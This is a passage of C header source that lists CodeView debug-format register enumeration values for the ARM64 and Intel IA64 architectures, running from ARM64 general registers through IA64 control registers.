68,\n    CV_ARM64_X19    =  69,\n    CV_ARM64_X20    =  70,\n    CV_ARM64_X21    =  71,\n    CV_ARM64_X22    =  72,\n    CV_ARM64_X23    =  73,\n    CV_ARM64_X24    =  74,\n    CV_ARM64_X25    =  75,\n    CV_ARM64_X26    =  76,\n    CV_ARM64_X27    =  77,\n    CV_ARM64_X28    =  78,\n    CV_ARM64_FP     =  79,\n    CV_ARM64_LR     =  80,\n    CV_ARM64_SP     =  81,\n    CV_ARM64_ZR     =  82,\n    CV_ARM64_PC     =  83,\n\n    // status registers\n\n    CV_ARM64_NZCV   =  90,\n    CV_ARM64_CPSR   =  91,\n\n    // 32-bit floating point registers\n\n    CV_ARM64_S0     =  100,\n    CV_ARM64_S1     =  101,\n    CV_ARM64_S2     =  102,\n    CV_ARM64_S3     =  103,\n    CV_ARM64_S4     =  104,\n    CV_ARM64_S5     =  105,\n    CV_ARM64_S6     =  106,\n    CV_ARM64_S7     =  107,\n    CV_ARM64_S8     =  108,\n    CV_ARM64_S9     =  109,\n    CV_ARM64_S10    =  110,\n    CV_ARM64_S11    =  111,\n    CV_ARM64_S12    =  112,\n    CV_ARM64_S13    =  113,\n    CV_ARM64_S14    =  114,\n    CV_ARM64_S15    =  115,\n    CV_ARM64_S16    =  116,\n    CV_ARM64_S17    =  117,\n    CV_ARM64_S18    =  118,\n    CV_ARM64_S19    =  119,\n    CV_ARM64_S20    =  120,\n    CV_ARM64_S21    =  121,\n    CV_ARM64_S22    =  122,\n    CV_ARM64_S23    =  123,\n    CV_ARM64_S24    =  124,\n    CV_ARM64_S25    =  125,\n    CV_ARM64_S26    =  126,\n    CV_ARM64_S27    =  127,\n    CV_ARM64_S28    =  128,\n    CV_ARM64_S29    =  129,\n    CV_ARM64_S30    =  130,\n    CV_ARM64_S31    =  131,\n\n    // 64-bit floating point registers\n\n    CV_ARM64_D0     =  140,\n    CV_ARM64_D1     =  141,\n    CV_ARM64_D2     =  142,\n    CV_ARM64_D3     =  143,\n    CV_ARM64_D4     =  144,\n    CV_ARM64_D5     =  145,\n    CV_ARM64_D6     =  146,\n    CV_ARM64_D7     =  147,\n    CV_ARM64_D8     =  148,\n    CV_ARM64_D9     =  149,\n    CV_ARM64_D10    =  150,\n    CV_ARM64_D11    =  151,\n    CV_ARM64_D12    =  152,\n    CV_ARM64_D13    =  153,\n    CV_ARM64_D14    =  154,\n    CV_ARM64_D15    =  155,\n    CV_ARM64_D16    =  156,\n    CV_ARM64_D17    =  157,\n    CV_ARM64_D18    =  158,\n    CV_ARM64_D19    =  159,\n    CV_ARM64_D20    =  160,\n    CV_ARM64_D21    =  161,\n    CV_ARM64_D22    =  162,\n    CV_ARM64_D23    =  163,\n    CV_ARM64_D24    =  164,\n    CV_ARM64_D25    =  165,\n    CV_ARM64_D26    =  166,\n    CV_ARM64_D27    =  167,\n    CV_ARM64_D28    =  168,\n    CV_ARM64_D29    =  169,\n    CV_ARM64_D30    =  170,\n    CV_ARM64_D31    =  171,\n\n    // 128-bit SIMD registers\n\n    CV_ARM64_Q0     =  180,\n    CV_ARM64_Q1     =  181,\n    CV_ARM64_Q2     =  182,\n    CV_ARM64_Q3     =  183,\n    CV_ARM64_Q4     =  184,\n    CV_ARM64_Q5     =  185,\n    CV_ARM64_Q6     =  186,\n    CV_ARM64_Q7     =  187,\n    CV_ARM64_Q8     =  188,\n    CV_ARM64_Q9     =  189,\n    CV_ARM64_Q10    =  190,\n    CV_ARM64_Q11    =  191,\n    CV_ARM64_Q12    =  192,\n    CV_ARM64_Q13    =  193,\n    CV_ARM64_Q14    =  194,\n    CV_ARM64_Q15    =  195,\n    CV_ARM64_Q16    =  196,\n    CV_ARM64_Q17    =  197,\n    CV_ARM64_Q18    =  198,\n    CV_ARM64_Q19    =  199,\n    CV_ARM64_Q20    =  200,\n    CV_ARM64_Q21    =  201,\n    CV_ARM64_Q22    =  202,\n    CV_ARM64_Q23    =  203,\n    CV_ARM64_Q24    =  204,\n    CV_ARM64_Q25    =  205,\n    CV_ARM64_Q26    =  206,\n    CV_ARM64_Q27    =  207,\n    CV_ARM64_Q28    =  208,\n    CV_ARM64_Q29    =  209,\n    CV_ARM64_Q30    =  210,\n    CV_ARM64_Q31    =  211,\n\n    // Floating point status register\n\n    CV_ARM64_FPSR   =  220,\n    CV_ARM64_FPCR   =  221,\n    \n    // 8-bit floating point registers\n\n    CV_ARM64_B0     =  230,\n    CV_ARM64_B1     =  231,\n    CV_ARM64_B2     =  232,\n    CV_ARM64_B3     =  233,\n    CV_ARM64_B4     =  234,\n    CV_ARM64_B5     =  235,\n    CV_ARM64_B6     =  236,\n    CV_ARM64_B7     =  237,\n    CV_ARM64_B8     =  238,\n    CV_ARM64_B9     =  239,\n    CV_ARM64_B10    =  240,\n    CV_ARM64_B11    =  241,\n    CV_ARM64_B12    =  242,\n    CV_ARM64_B13    =  243,\n    CV_ARM64_B14    =  244,\n    CV_ARM64_B15    =  245,\n    CV_ARM64_B16    =  246,\n    CV_ARM64_B17    =  247,\n    CV_ARM64_B18    =  248,\n    CV_ARM64_B19    =  249,\n    CV_ARM64_B20    =  250,\n    CV_ARM64_B21    =  251,\n    CV_ARM64_B22    =  252,\n    CV_ARM64_B23    =  253,\n    CV_ARM64_B24    =  254,\n    CV_ARM64_B25    =  255,\n    CV_ARM64_B26    =  256,\n    CV_ARM64_B27    =  257,\n    CV_ARM64_B28    =  258,\n    CV_ARM64_B29    =  259,\n    CV_ARM64_B30    =  260,\n    CV_ARM64_B31    =  261,\n\n    // 16-bit floating point registers\n\n    CV_ARM64_H0     =  270,\n    CV_ARM64_H1     =  271,\n    CV_ARM64_H2     =  272,\n    CV_ARM64_H3     =  273,\n    CV_ARM64_H4     =  274,\n    CV_ARM64_H5     =  275,\n    CV_ARM64_H6     =  276,\n    CV_ARM64_H7     =  277,\n    CV_ARM64_H8     =  278,\n    CV_ARM64_H9     =  279,\n    CV_ARM64_H10    =  280,\n    CV_ARM64_H11    =  281,\n    CV_ARM64_H12    =  282,\n    CV_ARM64_H13    =  283,\n    CV_ARM64_H14    =  284,\n    CV_ARM64_H15    =  285,\n    CV_ARM64_H16    =  286,\n    CV_ARM64_H17    =  287,\n    CV_ARM64_H18    =  288,\n    CV_ARM64_H19    =  289,\n    CV_ARM64_H20    =  290,\n    CV_ARM64_H21    =  291,\n    CV_ARM64_H22    =  292,\n    CV_ARM64_H23    =  293,\n    CV_ARM64_H24    =  294,\n    CV_ARM64_H25    =  295,\n    CV_ARM64_H26    =  296,\n    CV_ARM64_H27    =  297,\n    CV_ARM64_H28    =  298,\n    CV_ARM64_H29    =  299,\n    CV_ARM64_H30    =  300,\n    CV_ARM64_H31    =  301,\n\n    // 128-bit vector registers\n     \n    CV_ARM64_V0     =  310,\n    CV_ARM64_V1     =  311,\n    CV_ARM64_V2     =  312,\n    CV_ARM64_V3     =  313,\n    CV_ARM64_V4     =  314,\n    CV_ARM64_V5     =  315,\n    CV_ARM64_V6     =  316,\n    CV_ARM64_V7     =  317,\n    CV_ARM64_V8     =  318,\n    CV_ARM64_V9     =  319,\n    CV_ARM64_V10    =  320,\n    CV_ARM64_V11    =  321,\n    CV_ARM64_V12    =  322,\n    CV_ARM64_V13    =  323,\n    CV_ARM64_V14    =  324,\n    CV_ARM64_V15    =  325,\n    CV_ARM64_V16    =  326,\n    CV_ARM64_V17    =  327,\n    CV_ARM64_V18    =  328,\n    CV_ARM64_V19    =  329,\n    CV_ARM64_V20    =  330,\n    CV_ARM64_V21    =  331,\n    CV_ARM64_V22    =  332,\n    CV_ARM64_V23    =  333,\n    CV_ARM64_V24    =  334,\n    CV_ARM64_V25    =  335,\n    CV_ARM64_V26    =  336,\n    CV_ARM64_V27    =  337,\n    CV_ARM64_V28    =  338,\n    CV_ARM64_V29    =  339,\n    CV_ARM64_V30    =  340,\n    CV_ARM64_V31    =  341,\n\n    // 128-bit SIMD registers upper 64 bits\n\n    CV_ARM64_Q0H    =  350,\n    CV_ARM64_Q1H    =  351,\n    CV_ARM64_Q2H    =  352,\n    CV_ARM64_Q3H    =  353,\n    CV_ARM64_Q4H    =  354,\n    CV_ARM64_Q5H    =  355,\n    CV_ARM64_Q6H    =  356,\n    CV_ARM64_Q7H    =  357,\n    CV_ARM64_Q8H    =  358,\n    CV_ARM64_Q9H    =  359,\n    CV_ARM64_Q10H   =  360,\n    CV_ARM64_Q11H   =  361,\n    CV_ARM64_Q12H   =  362,\n    CV_ARM64_Q13H   =  363,\n    CV_ARM64_Q14H   =  364,\n    CV_ARM64_Q15H   =  365,\n    CV_ARM64_Q16H   =  366,\n    CV_ARM64_Q17H   =  367,\n    CV_ARM64_Q18H   =  368,\n    CV_ARM64_Q19H   =  369,\n    CV_ARM64_Q20H   =  370,\n    CV_ARM64_Q21H   =  371,\n    CV_ARM64_Q22H   =  372,\n    CV_ARM64_Q23H   =  373,\n    CV_ARM64_Q24H   =  374,\n    CV_ARM64_Q25H   =  375,\n    CV_ARM64_Q26H   =  376,\n    CV_ARM64_Q27H   =  377,\n    CV_ARM64_Q28H   =  378,\n    CV_ARM64_Q29H   =  379,\n    CV_ARM64_Q30H   =  380,\n    CV_ARM64_Q31H   =  381,\n\n    //\n    // Register set for Intel IA64\n    //\n\n    CV_IA64_NOREG   =   CV_REG_NONE,\n\n    // Branch Registers\n\n    CV_IA64_Br0     =   512,\n    CV_IA64_Br1     =   513,\n    CV_IA64_Br2     =   514,\n    CV_IA64_Br3     =   515,\n    CV_IA64_Br4     =   516,\n    CV_IA64_Br5     =   517,\n    CV_IA64_Br6     =   518,\n    CV_IA64_Br7     =   519,\n\n    // Predicate Registers\n\n    CV_IA64_P0    =   704,\n    CV_IA64_P1    =   705,\n    CV_IA64_P2    =   706,\n    CV_IA64_P3    =   707,\n    CV_IA64_P4    =   708,\n    CV_IA64_P5    =   709,\n    CV_IA64_P6    =   710,\n    CV_IA64_P7    =   711,\n    CV_IA64_P8    =   712,\n    CV_IA64_P9    =   713,\n    CV_IA64_P10   =   714,\n    CV_IA64_P11   =   715,\n    CV_IA64_P12   =   716,\n    CV_IA64_P13   =   717,\n    CV_IA64_P14   =   718,\n    CV_IA64_P15   =   719,\n    CV_IA64_P16   =   720,\n    CV_IA64_P17   =   721,\n    CV_IA64_P18   =   722,\n    CV_IA64_P19   =   723,\n    CV_IA64_P20   =   724,\n    CV_IA64_P21   =   725,\n    CV_IA64_P22   =   726,\n    CV_IA64_P23   =   727,\n    CV_IA64_P24   =   728,\n    CV_IA64_P25   =   729,\n    CV_IA64_P26   =   730,\n    CV_IA64_P27   =   731,\n    CV_IA64_P28   =   732,\n    CV_IA64_P29   =   733,\n    CV_IA64_P30   =   734,\n    CV_IA64_P31   =   735,\n    CV_IA64_P32   =   736,\n    CV_IA64_P33   =   737,\n    CV_IA64_P34   =   738,\n    CV_IA64_P35   =   739,\n    CV_IA64_P36   =   740,\n    CV_IA64_P37   =   741,\n    CV_IA64_P38   =   742,\n    CV_IA64_P39   =   743,\n    CV_IA64_P40   =   744,\n    CV_IA64_P41   =   745,\n    CV_IA64_P42   =   746,\n    CV_IA64_P43   =   747,\n    CV_IA64_P44   =   748,\n    CV_IA64_P45   =   749,\n    CV_IA64_P46   =   750,\n    CV_IA64_P47   =   751,\n    CV_IA64_P48   =   752,\n    CV_IA64_P49   =   753,\n    CV_IA64_P50   =   754,\n    CV_IA64_P51   =   755,\n    CV_IA64_P52   =   756,\n    CV_IA64_P53   =   757,\n    CV_IA64_P54   =   758,\n    CV_IA64_P55   =   759,\n    CV_IA64_P56   =   760,\n    CV_IA64_P57   =   761,\n    CV_IA64_P58   =   762,\n    CV_IA64_P59   =   763,\n    CV_IA64_P60   =   764,\n    CV_IA64_P61   =   765,\n    CV_IA64_P62   =   766,\n    CV_IA64_P63   =   767,\n\n    CV_IA64_Preds   =   768,\n\n    // Banked General Registers\n\n    CV_IA64_IntH0   =   832,\n    CV_IA64_IntH1   =   833,\n    CV_IA64_IntH2   =   834,\n    CV_IA64_IntH3   =   835,\n    CV_IA64_IntH4   =   836,\n    CV_IA64_IntH5   =   837,\n    CV_IA64_IntH6   =   838,\n    CV_IA64_IntH7   =   839,\n    CV_IA64_IntH8   =   840,\n    CV_IA64_IntH9   =   841,\n    CV_IA64_IntH10  =   842,\n    CV_IA64_IntH11  =   843,\n    CV_IA64_IntH12  =   844,\n    CV_IA64_IntH13  =   845,\n    CV_IA64_IntH14  =   846,\n    CV_IA64_IntH15  =   847,\n\n    // Special Registers\n\n    CV_IA64_Ip      =   1016,\n    CV_IA64_Umask   =   1017,\n    CV_IA64_Cfm     =   1018,\n    CV_IA64_Psr     =   1019,\n\n    // Banked General Registers\n\n    CV_IA64_Nats    =   1020,\n    CV_IA64_Nats2   =   1021,\n    CV_IA64_Nats3   =   1022,\n\n    // General-Purpose Registers\n\n    // Integer registers\n    CV_IA64_IntR0   =   1024,\n    CV_IA64_IntR1   =   1025,\n    CV_IA64_IntR2   =   1026,\n    CV_IA64_IntR3   =   1027,\n    CV_IA64_IntR4   =   1028,\n    CV_IA64_IntR5   =   1029,\n    CV_IA64_IntR6   =   1030,\n    CV_IA64_IntR7   =   1031,\n    CV_IA64_IntR8   =   1032,\n    CV_IA64_IntR9   =   1033,\n    CV_IA64_IntR10  =   1034,\n    CV_IA64_IntR11  =   1035,\n    CV_IA64_IntR12  =   1036,\n    CV_IA64_IntR13  =   1037,\n    CV_IA64_IntR14  =   1038,\n    CV_IA64_IntR15  =   1039,\n    CV_IA64_IntR16  =   1040,\n    CV_IA64_IntR17  =   1041,\n    CV_IA64_IntR18  =   1042,\n    CV_IA64_IntR19  =   1043,\n    CV_IA64_IntR20  =   1044,\n    CV_IA64_IntR21  =   1045,\n    CV_IA64_IntR22  =   1046,\n    CV_IA64_IntR23  =   1047,\n    CV_IA64_IntR24  =   1048,\n    CV_IA64_IntR25  =   1049,\n    CV_IA64_IntR26  =   1050,\n    CV_IA64_IntR27  =   1051,\n    CV_IA64_IntR28  =   1052,\n    CV_IA64_IntR29  =   1053,\n    CV_IA64_IntR30  =   1054,\n    CV_IA64_IntR31  =   1055,\n\n    // Register Stack\n    CV_IA64_IntR32  =   1056,\n    CV_IA64_IntR33  =   1057,\n    CV_IA64_IntR34  =   1058,\n    CV_IA64_IntR35  =   1059,\n    CV_IA64_IntR36  =   1060,\n    CV_IA64_IntR37  =   1061,\n    CV_IA64_IntR38  =   1062,\n    CV_IA64_IntR39  =   1063,\n    CV_IA64_IntR40  =   1064,\n    CV_IA64_IntR41  =   1065,\n    CV_IA64_IntR42  =   1066,\n    CV_IA64_IntR43  =   1067,\n    CV_IA64_IntR44  =   1068,\n    CV_IA64_IntR45  =   1069,\n    CV_IA64_IntR46  =   1070,\n    CV_IA64_IntR47  =   1071,\n    CV_IA64_IntR48  =   1072,\n    CV_IA64_IntR49  =   1073,\n    CV_IA64_IntR50  =   1074,\n    CV_IA64_IntR51  =   1075,\n    CV_IA64_IntR52  =   1076,\n    CV_IA64_IntR53  =   1077,\n    CV_IA64_IntR54  =   1078,\n    CV_IA64_IntR55  =   1079,\n    CV_IA64_IntR56  =   1080,\n    CV_IA64_IntR57  =   1081,\n    CV_IA64_IntR58  =   1082,\n    CV_IA64_IntR59  =   1083,\n    CV_IA64_IntR60  =   1084,\n    CV_IA64_IntR61  =   1085,\n    CV_IA64_IntR62  =   1086,\n    CV_IA64_IntR63  =   1087,\n    CV_IA64_IntR64  =   1088,\n    CV_IA64_IntR65  =   1089,\n    CV_IA64_IntR66  =   1090,\n    CV_IA64_IntR67  =   1091,\n    CV_IA64_IntR68  =   1092,\n    CV_IA64_IntR69  =   1093,\n    CV_IA64_IntR70  =   1094,\n    CV_IA64_IntR71  =   1095,\n    CV_IA64_IntR72  =   1096,\n    CV_IA64_IntR73  =   1097,\n    CV_IA64_IntR74  =   1098,\n    CV_IA64_IntR75  =   1099,\n    CV_IA64_IntR76  =   1100,\n    CV_IA64_IntR77  =   1101,\n    CV_IA64_IntR78  =   1102,\n    CV_IA64_IntR79  =   1103,\n    CV_IA64_IntR80  =   1104,\n    CV_IA64_IntR81  =   1105,\n    CV_IA64_IntR82  =   1106,\n    CV_IA64_IntR83  =   1107,\n    CV_IA64_IntR84  =   1108,\n    CV_IA64_IntR85  =   1109,\n    CV_IA64_IntR86  =   1110,\n    CV_IA64_IntR87  =   1111,\n    CV_IA64_IntR88  =   1112,\n    CV_IA64_IntR89  =   1113,\n    CV_IA64_IntR90  =   1114,\n    CV_IA64_IntR91  =   1115,\n    CV_IA64_IntR92  =   1116,\n    CV_IA64_IntR93  =   1117,\n    CV_IA64_IntR94  =   1118,\n    CV_IA64_IntR95  =   1119,\n    CV_IA64_IntR96  =   1120,\n    CV_IA64_IntR97  =   1121,\n    CV_IA64_IntR98  =   1122,\n    CV_IA64_IntR99  =   1123,\n    CV_IA64_IntR100 =   1124,\n    CV_IA64_IntR101 =   1125,\n    CV_IA64_IntR102 =   1126,\n    CV_IA64_IntR103 =   1127,\n    CV_IA64_IntR104 =   1128,\n    CV_IA64_IntR105 =   1129,\n    CV_IA64_IntR106 =   1130,\n    CV_IA64_IntR107 =   1131,\n    CV_IA64_IntR108 =   1132,\n    CV_IA64_IntR109 =   1133,\n    CV_IA64_IntR110 =   1134,\n    CV_IA64_IntR111 =   1135,\n    CV_IA64_IntR112 =   1136,\n    CV_IA64_IntR113 =   1137,\n    CV_IA64_IntR114 =   1138,\n    CV_IA64_IntR115 =   1139,\n    CV_IA64_IntR116 =   1140,\n    CV_IA64_IntR117 =   1141,\n    CV_IA64_IntR118 =   1142,\n    CV_IA64_IntR119 =   1143,\n    CV_IA64_IntR120 =   1144,\n    CV_IA64_IntR121 =   1145,\n    CV_IA64_IntR122 =   1146,\n    CV_IA64_IntR123 =   1147,\n    CV_IA64_IntR124 =   1148,\n    CV_IA64_IntR125 =   1149,\n    CV_IA64_IntR126 =   1150,\n    CV_IA64_IntR127 =   1151,\n\n    // Floating-Point Registers\n\n    // Low Floating Point Registers\n    CV_IA64_FltF0   =   2048,\n    CV_IA64_FltF1   =   2049,\n    CV_IA64_FltF2   =   2050,\n    CV_IA64_FltF3   =   2051,\n    CV_IA64_FltF4   =   2052,\n    CV_IA64_FltF5   =   2053,\n    CV_IA64_FltF6   =   2054,\n    CV_IA64_FltF7   =   2055,\n    CV_IA64_FltF8   =   2056,\n    CV_IA64_FltF9   =   2057,\n    CV_IA64_FltF10  =   2058,\n    CV_IA64_FltF11  =   2059,\n    CV_IA64_FltF12  =   2060,\n    CV_IA64_FltF13  =   2061,\n    CV_IA64_FltF14  =   2062,\n    CV_IA64_FltF15  =   2063,\n    CV_IA64_FltF16  =   2064,\n    CV_IA64_FltF17  =   2065,\n    CV_IA64_FltF18  =   2066,\n    CV_IA64_FltF19  =   2067,\n    CV_IA64_FltF20  =   2068,\n    CV_IA64_FltF21  =   2069,\n    CV_IA64_FltF22  =   2070,\n    CV_IA64_FltF23  =   2071,\n    CV_IA64_FltF24  =   2072,\n    CV_IA64_FltF25  =   2073,\n    CV_IA64_FltF26  =   2074,\n    CV_IA64_FltF27  =   2075,\n    CV_IA64_FltF28  =   2076,\n    CV_IA64_FltF29  =   2077,\n    CV_IA64_FltF30  =   2078,\n    CV_IA64_FltF31  =   2079,\n\n    // High Floating Point Registers\n    CV_IA64_FltF32  =   2080,\n    CV_IA64_FltF33  =   2081,\n    CV_IA64_FltF34  =   2082,\n    CV_IA64_FltF35  =   2083,\n    CV_IA64_FltF36  =   2084,\n    CV_IA64_FltF37  =   2085,\n    CV_IA64_FltF38  =   2086,\n    CV_IA64_FltF39  =   2087,\n    CV_IA64_FltF40  =   2088,\n    CV_IA64_FltF41  =   2089,\n    CV_IA64_FltF42  =   2090,\n    CV_IA64_FltF43  =   2091,\n    CV_IA64_FltF44  =   2092,\n    CV_IA64_FltF45  =   2093,\n    CV_IA64_FltF46  =   2094,\n    CV_IA64_FltF47  =   2095,\n    CV_IA64_FltF48  =   2096,\n    CV_IA64_FltF49  =   2097,\n    CV_IA64_FltF50  =   2098,\n    CV_IA64_FltF51  =   2099,\n    CV_IA64_FltF52  =   2100,\n    CV_IA64_FltF53  =   2101,\n    CV_IA64_FltF54  =   2102,\n    CV_IA64_FltF55  =   2103,\n    CV_IA64_FltF56  =   2104,\n    CV_IA64_FltF57  =   2105,\n    CV_IA64_FltF58  =   2106,\n    CV_IA64_FltF59  =   2107,\n    CV_IA64_FltF60  =   2108,\n    CV_IA64_FltF61  =   2109,\n    CV_IA64_FltF62  =   2110,\n    CV_IA64_FltF63  =   2111,\n    CV_IA64_FltF64  =   2112,\n    CV_IA64_FltF65  =   2113,\n    CV_IA64_FltF66  =   2114,\n    CV_IA64_FltF67  =   2115,\n    CV_IA64_FltF68  =   2116,\n    CV_IA64_FltF69  =   2117,\n    CV_IA64_FltF70  =   2118,\n    CV_IA64_FltF71  =   2119,\n    CV_IA64_FltF72  =   2120,\n    CV_IA64_FltF73  =   2121,\n    CV_IA64_FltF74  =   2122,\n    CV_IA64_FltF75  =   2123,\n    CV_IA64_FltF76  =   2124,\n    CV_IA64_FltF77  =   2125,\n    CV_IA64_FltF78  =   2126,\n    CV_IA64_FltF79  =   2127,\n    CV_IA64_FltF80  =   2128,\n    CV_IA64_FltF81  =   2129,\n    CV_IA64_FltF82  =   2130,\n    CV_IA64_FltF83  =   2131,\n    CV_IA64_FltF84  =   2132,\n    CV_IA64_FltF85  =   2133,\n    CV_IA64_FltF86  =   2134,\n    CV_IA64_FltF87  =   2135,\n    CV_IA64_FltF88  =   2136,\n    CV_IA64_FltF89  =   2137,\n    CV_IA64_FltF90  =   2138,\n    CV_IA64_FltF91  =   2139,\n    CV_IA64_FltF92  =   2140,\n    CV_IA64_FltF93  =   2141,\n    CV_IA64_FltF94  =   2142,\n    CV_IA64_FltF95  =   2143,\n    CV_IA64_FltF96  =   2144,\n    CV_IA64_FltF97  =   2145,\n    CV_IA64_FltF98  =   2146,\n    CV_IA64_FltF99  =   2147,\n    CV_IA64_FltF100 =   2148,\n    CV_IA64_FltF101 =   2149,\n    CV_IA64_FltF102 =   2150,\n    CV_IA64_FltF103 =   2151,\n    CV_IA64_FltF104 =   2152,\n    CV_IA64_FltF105 =   2153,\n    CV_IA64_FltF106 =   2154,\n    CV_IA64_FltF107 =   2155,\n    CV_IA64_FltF108 =   2156,\n    CV_IA64_FltF109 =   2157,\n    CV_IA64_FltF110 =   2158,\n    CV_IA64_FltF111 =   2159,\n    CV_IA64_FltF112 =   2160,\n    CV_IA64_FltF113 =   2161,\n    CV_IA64_FltF114 =   2162,\n    CV_IA64_FltF115 =   2163,\n    CV_IA64_FltF116 =   2164,\n    CV_IA64_FltF117 =   2165,\n    CV_IA64_FltF118 =   2166,\n    CV_IA64_FltF119 =   2167,\n    CV_IA64_FltF120 =   2168,\n    CV_IA64_FltF121 =   2169,\n    CV_IA64_FltF122 =   2170,\n    CV_IA64_FltF123 =   2171,\n    CV_IA64_FltF124 =   2172,\n    CV_IA64_FltF125 =   2173,\n    CV_IA64_FltF126 =   2174,\n    CV_IA64_FltF127 =   2175,\n\n    // Application Registers\n\n    CV_IA64_ApKR0   =   3072,\n    CV_IA64_ApKR1   =   3073,\n    CV_IA64_ApKR2   =   3074,\n    CV_IA64_ApKR3   =   3075,\n    CV_IA64_ApKR4   =   3076,\n    CV_IA64_ApKR5   =   3077,\n    CV_IA64_ApKR6   =   3078,\n    CV_IA64_ApKR7   =   3079,\n    CV_IA64_AR8     =   3080,\n    CV_IA64_AR9     =   3081,\n    CV_IA64_AR10    =   3082,\n    CV_IA64_AR11    =   3083,\n    CV_IA64_AR12    =   3084,\n    CV_IA64_AR13    =   3085,\n    CV_IA64_AR14    =   3086,\n    CV_IA64_AR15    =   3087,\n    CV_IA64_RsRSC   =   3088,\n    CV_IA64_RsBSP   =   3089,\n    CV_IA64_RsBSPSTORE  =   3090,\n    CV_IA64_RsRNAT  =   3091,\n    CV_IA64_AR20    =   3092,\n    CV_IA64_StFCR   =   3093,\n    CV_IA64_AR22    =   3094,\n    CV_IA64_AR23    =   3095,\n    CV_IA64_EFLAG   =   3096,\n    CV_IA64_CSD     =   3097,\n    CV_IA64_SSD     =   3098,\n    CV_IA64_CFLG    =   3099,\n    CV_IA64_StFSR   =   3100,\n    CV_IA64_StFIR   =   3101,\n    CV_IA64_StFDR   =   3102,\n    CV_IA64_AR31    =   3103,\n    CV_IA64_ApCCV   =   3104,\n    CV_IA64_AR33    =   3105,\n    CV_IA64_AR34    =   3106,\n    CV_IA64_AR35    =   3107,\n    CV_IA64_ApUNAT  =   3108,\n    CV_IA64_AR37    =   3109,\n    CV_IA64_AR38    =   3110,\n    CV_IA64_AR39    =   3111,\n    CV_IA64_StFPSR  =   3112,\n    CV_IA64_AR41    =   3113,\n    CV_IA64_AR42    =   3114,\n    CV_IA64_AR43    =   3115,\n    CV_IA64_ApITC   =   3116,\n    CV_IA64_AR45    =   3117,\n    CV_IA64_AR46    =   3118,\n    CV_IA64_AR47    =   3119,\n    CV_IA64_AR48    =   3120,\n    CV_IA64_AR49    =   3121,\n    CV_IA64_AR50    =   3122,\n    CV_IA64_AR51    =   3123,\n    CV_IA64_AR52    =   3124,\n    CV_IA64_AR53    =   3125,\n    CV_IA64_AR54    =   3126,\n    CV_IA64_AR55    =   3127,\n    CV_IA64_AR56    =   3128,\n    CV_IA64_AR57    =   3129,\n    CV_IA64_AR58    =   3130,\n    CV_IA64_AR59    =   3131,\n    CV_IA64_AR60    =   3132,\n    CV_IA64_AR61    =   3133,\n    CV_IA64_AR62    =   3134,\n    CV_IA64_AR63    =   3135,\n    CV_IA64_RsPFS   =   3136,\n    CV_IA64_ApLC    =   3137,\n    CV_IA64_ApEC    =   3138,\n    CV_IA64_AR67    =   3139,\n    CV_IA64_AR68    =   3140,\n    CV_IA64_AR69    =   3141,\n    CV_IA64_AR70    =   3142,\n    CV_IA64_AR71    =   3143,\n    CV_IA64_AR72    =   3144,\n    CV_IA64_AR73    =   3145,\n    CV_IA64_AR74    =   3146,\n    CV_IA64_AR75    =   3147,\n    CV_IA64_AR76    =   3148,\n    CV_IA64_AR77    =   3149,\n    CV_IA64_AR78    =   3150,\n    CV_IA64_AR79    =   3151,\n    CV_IA64_AR80    =   3152,\n    CV_IA64_AR81    =   3153,\n    CV_IA64_AR82    =   3154,\n    CV_IA64_AR83    =   3155,\n    CV_IA64_AR84    =   3156,\n    CV_IA64_AR85    =   3157,\n    CV_IA64_AR86    =   3158,\n    CV_IA64_AR87    =   3159,\n    CV_IA64_AR88    =   3160,\n    CV_IA64_AR89    =   3161,\n    CV_IA64_AR90    =   3162,\n    CV_IA64_AR91    =   3163,\n    CV_IA64_AR92    =   3164,\n    CV_IA64_AR93    =   3165,\n    CV_IA64_AR94    =   3166,\n    CV_IA64_AR95    =   3167,\n    CV_IA64_AR96    =   3168,\n    CV_IA64_AR97    =   3169,\n    CV_IA64_AR98    =   3170,\n    CV_IA64_AR99    =   3171,\n    CV_IA64_AR100   =   3172,\n    CV_IA64_AR101   =   3173,\n    CV_IA64_AR102   =   3174,\n    CV_IA64_AR103   =   3175,\n    CV_IA64_AR104   =   3176,\n    CV_IA64_AR105   =   3177,\n    CV_IA64_AR106   =   3178,\n    CV_IA64_AR107   =   3179,\n    CV_IA64_AR108   =   3180,\n    CV_IA64_AR109   =   3181,\n    CV_IA64_AR110   =   3182,\n    CV_IA64_AR111   =   3183,\n    CV_IA64_AR112   =   3184,\n    CV_IA64_AR113   =   3185,\n    CV_IA64_AR114   =   3186,\n    CV_IA64_AR115   =   3187,\n    CV_IA64_AR116   =   3188,\n    CV_IA64_AR117   =   3189,\n    CV_IA64_AR118   =   3190,\n    CV_IA64_AR119   =   3191,\n    CV_IA64_AR120   =   3192,\n    CV_IA64_AR121   =   3193,\n    CV_IA64_AR122   =   3194,\n    CV_IA64_AR123   =   3195,\n    CV_IA64_AR124   =   3196,\n    CV_IA64_AR125   =   3197,\n    CV_IA64_AR126   =   3198,\n    CV_IA64_AR127   =   3199,\n\n    // CPUID Registers\n\n    CV_IA64_CPUID0  =   3328,\n    CV_IA64_CPUID1  =   3329,\n    CV_IA64_CPUID2  =   3330,\n    CV_IA64_CPUID3  =   3331,\n    CV_IA64_CPUID4  =   3332,\n\n    // Control Registers\n\n    CV_IA64_ApDCR   =   4096,\n    CV_IA64_ApITM   =   4097,\n    CV_IA64_ApIVA   =   4098,\n    CV_IA64_CR3     =   4099,\n    CV_IA64_CR4     =   4100,\n    CV_IA64_CR5     =   4101,\n    CV_IA64_CR6     =   4102,\n    CV_IA64_CR7     =   4103,\n    CV_IA64_ApPTA   =   4104,\n    CV_IA64_ApGPTA  =   4105,\n    CV_IA64_CR10    =   4106,\n    CV_IA64_CR11    =   4107,\n    CV_IA64_CR12    =   4108,\n    CV_IA64_CR13    =   4109,\n    CV_IA64_CR14    =   4110,\n    CV_IA64_CR15    =   4111,\n    CV_IA64_StIPSR  =   4112,\n    CV_IA64_StISR   =   4113,\n    CV_IA64_CR18    =   4114,\n    CV_IA64_StIIP   =   4115,\n    CV_IA64_StIFA   =   4116,\n    CV_IA64_StITIR  =   4117,\n    CV_IA64_StIIPA  =   4118,\n    CV_IA64_StIFS   =   4119,\n    CV_IA64_StIIM   =   4120,\n    CV_IA64_StIHA   =   4121,\n    CV_IA64_CR26    =   4122,\n    CV_IA64_CR27    =   4123,\n    CV_IA64_CR28    =   4124,\n    CV_IA64_CR29    =   4125,\n    CV_IA64_CR30    =   4126,\n    CV_IA64_CR31    =   4127,\n    CV_IA64_CR32    =   4128,\n    CV_IA64_CR33    =   4129,\n    CV_IA64_CR34    =   4130,\n    CV_IA64_CR35    =   4131,\n    